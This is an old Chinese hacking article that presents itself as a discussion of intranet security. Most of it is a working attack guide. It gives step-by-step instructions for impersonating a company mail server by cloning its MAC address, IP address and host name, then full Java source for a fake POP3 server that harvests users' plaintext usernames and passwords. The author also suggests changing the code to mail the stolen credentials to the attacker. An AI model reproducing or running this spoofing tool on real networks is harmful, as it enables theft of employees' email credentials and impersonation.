内部网络的安全性
作者:lovehacker
内部网络安全吗?这的确是一个值得我们探讨的问题。随着时代的发展,很多的企业都建立了内部网络,并开始逐步的向办公自动化、办公无纸化的方向靠拢。
内部信息的传递(邮件)、公文流转、信息的交互都是办公自动化的内容,而保护其安全性的手段又如何呢?
1、权限分级管理
2、数字签名(使用非对称式加密算法)
都是办公自动化采用的保证其安全的手段,但它真正的能做到安全吗?
其实我们知道,安全的内容不仅仅是这些。来自内部网络上的敌人依旧可以利用网络本身的缺陷来获取想要的信息及提升自己的权限。在这里我为什么要说成“来自内部网络上的敌人”而不是“内部的敌人”呢?因为我们清楚,来自Internet的入侵者侵入并藏身于内部网络是可行的。
一个入侵者可以利用一些网络的知识来获得内部网络所有用户的电子邮件信箱的密码。
他们会怎么去做呢?
其实答案很简单,来自内部网络的attacker将伪装成邮件服务器,因为我们知道pop协议在传输过程中都是明文的,而当attacker伪装成一台邮件服务器后,他将可以很轻易的获得那些明文的用户名和密码。(然后用领导的名义给所有的员工发一封经过签名的邮件,内容是全体放假一个月)
当然,在这个简单的答案背后,我们需要对网络的各种协议有一个了解。
ARP(地址解析协议):
在底层的网络通讯中,我们必要要知道源和目标的MAC地址,为了能让系统能快速的找到节点的MAC地址,一般在主机中都保存了一个ARP缓存,它记录了IP对应的MAC地址,默认的情况下,ARP缓存中保留有最近十分钟本地系统与之通信的节点的IP地址和其对应的MAC地址。而当一个主机的MAC地址不存在于ARP缓存中,本地主机发送一个广播包询问是否存在其对应地址,并且会得到回答,本地主机将回答的结果又放入到ARP缓存中。(仔细的想想如何进行ARP欺骗吧)
pop(Post Office Protocol):
我们再来看看客户端连接POP服务器的过程:
telnet 172.16.x.x 110
+OK xxx is ready. (server output)
USER lovehacker (client input)
+OK Please enter password for user . (server output)
PASS 123456 (Client input)
+OK lovehacker has 1 messages (750 octets)
下边的我们不用继续了,因为我们只需要获得用户名和密码而已,(如果你有兴趣了解pop协议的全部内容的话,可以查看rfc)大家可以看到,用户名和密码是明文传输的,那我们伪装成为一台邮件服务器和客户端进行前几次的交互岂不是可以获得用户名和密码?
现在我们从实践的角度去尝试一下获得内部网所有用户的邮件信箱密码吧:)
1、nbtstat -a 邮件服务器的ip地址
2、修改自己机器的MAC地址为第1步获得的邮件服务器的MAC地址(每块网卡的MAC不是全球唯一吗?可以修改????的确可以修改)
3、修改自己的IP地址为邮件服务器的IP地址
4、重新启动机器(你成功的成为了邮件服务器,其它主机的ARP缓存中关于邮件服务器的信息完全和你相符合)
5、修改自己的机器名为邮件服务器的名字(可以不用做这一步,不过我建议你做)
6、建立pop服务器
我写了下边的程序帮你完成最后的这件事情:-)
(当它得到用户名和密码将这些信息打印在屏幕上,然后和client断开连接,当然,你可以修改一下它,比如让它在把这些用户名和密码发送到你的信箱来)
编译:c:>javac PopSpoof.java
运行:c:>java PopSpoof
测试:
telnet localhsot 110
USER lovehacker [ENTER]
PASS 1234567 [ENTER]
看看你的输入是不是在PopSpoof运行的屏幕上打印出来了?当其它用户的outlook或其它的收件工具,收邮件的时候,他们的用户名和密码也就出现在你的窗口中了:-)
/*
p0p sp00f powered by lovehacker
Enjoy hacking :-)
2001/05/31
*/
import java.io.*;
import java.net.*;
class PopSpoof {
public static void main(String args[]){
ServerSocket ss = null;
Socket s = null;
int port = 110;
System.out.println("nt+---------p0p Spoof---------------");
System.out.println("t+");
System.out.println("t+ Powered By lovehacker");
System.out.println("t+");
System.out.println("t+---------------------------------n");
try{
ss = new ServerSocket(port);
}catch(IOException e){}
while(true){
try{
s = ss.accept();
}catch(Exception e){
}
if(s!=null)
{
new POP(s).start();
}
}
}
}
class POP extends Thread{
DataInputStream dis = null;
PrintStream ps = null;
Socket s = null;
String str = "";
public POP(Socket s){
this.s = s;
}
public void run(){
try{
dis = new DataInputStream(new BufferedInputStream(s.getInputStream()));
ps = new PrintStream(s.getOutputStream());
ps.println("+OK");
int i = 0;
while(true){
str = dis.readLine();
switch(i){
case 0:
if(str==null)break;
System.out.println(str);
ps.println("+OK");
i+=1;
break;
case 1:
if(str==null)break;
System.out.println(str);
ps.println("+OK");
s.close();
break;
default:
s.close();
}
}
}catch(IOException e){}
}
}
看来,维护网络的安全性,任重道远呀!
发布人:netbull 来自:非常Linux